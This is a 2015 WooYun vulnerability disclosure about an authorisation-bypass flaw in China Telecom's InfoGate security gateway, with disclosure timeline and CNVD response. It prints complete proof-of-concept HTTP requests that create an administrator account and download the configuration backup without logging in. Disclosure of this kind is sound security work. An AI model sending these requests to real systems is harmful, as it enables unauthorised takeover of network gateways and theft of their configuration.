漏洞概要
缺陷编号：
WooYun-2015-133471
漏洞标题： 中国电信某安全网关存在通用型设计缺陷(可直接添加任意管理员等等)
相关厂商：
中国电信
漏洞作者：
YY-2012
提交时间： 2015-08-14 16:52
公开时间： 2015-11-12 10:58
漏洞类型： 设计缺陷/逻辑错误
危害等级： 高
自评Rank： 10
漏洞状态： 已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源：
http://www.wooyun.org
Tags标签：
设计缺陷/边界绕过 逻辑错误
漏洞详情披露状态：
2015-08-14： 细节已通知厂商并且等待厂商处理中
2015-08-14： 厂商已经确认，细节仅向厂商公开
2015-08-17： 细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航）
2015-10-08： 细节向核心白帽子及相关领域专家公开
2015-10-18： 细节向普通白帽子公开
2015-10-28： 细节向实习白帽子公开
2015-11-12： 细节向公众公开
简要描述：
rt
详细说明：
“InfoGate安全网关”存在逻辑性设计缺陷发现全功能可未授权访问，惊呆了。。
任意添加管理员（以下提交会添加一个名为test124密码为test1245的管理员）：
code 区域POST /src/system/addmanageuser.php HTTP/1.1
Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Referer: https://地址/src/system/addmanageuser.php?&IG_current_menu_name=系统配置&IG_current_submenu_name=管理设置
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 地址
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: PHPSESSID=
Content-Length: 235
IG_current_menu_name=%CF%B5%CD%B3%C5%E4%D6%C3&IG_current_submenu_name=%B9%DC%C0%ED%C9%E8%D6%C3&IG_user=test124&IG_password=test1245&IG_password1=test1245&IG_permission1=1&IG_permission2=1&IG_permission3=1&IG_submit=+++%C8%B7++%B6%A8+++
未授权下载配置文件：
code 区域POST /src/system/default.php HTTP/1.1
Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Referer: https://地址/src/system/default.php?IG_current_menu_name=系统配置&IG_current_submenu_name=配置管理
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7df16713100de
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 地址
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: PHPSESSID=
Content-Length: 306
-----------------------------7df16713100de
Content-Disposition: form-data; name="IG_type"
IG_backup
-----------------------------7df16713100de
Content-Disposition: form-data; name="IG_uploadfile"; filename=""
Content-Type: application/octet-stream
-----------------------------7df16713100de--
其他功能不一一举例了。。
漏洞证明：
案例：
code 区域**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**:8443/
https://**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
修复方案：
添加各种验证权限。。
版权声明：转载请注明来源
YY-2012@
乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：9
确认时间：2015-08-14 10:56
厂商回复：CNVD确认所述情况，已经转由CNCERT向中国电信集团公司通报，由其后续协调网站管理部门处置。
最新状态：暂无
原文：http://www.wooyun.org/bugs/wooyun-2015-0133471
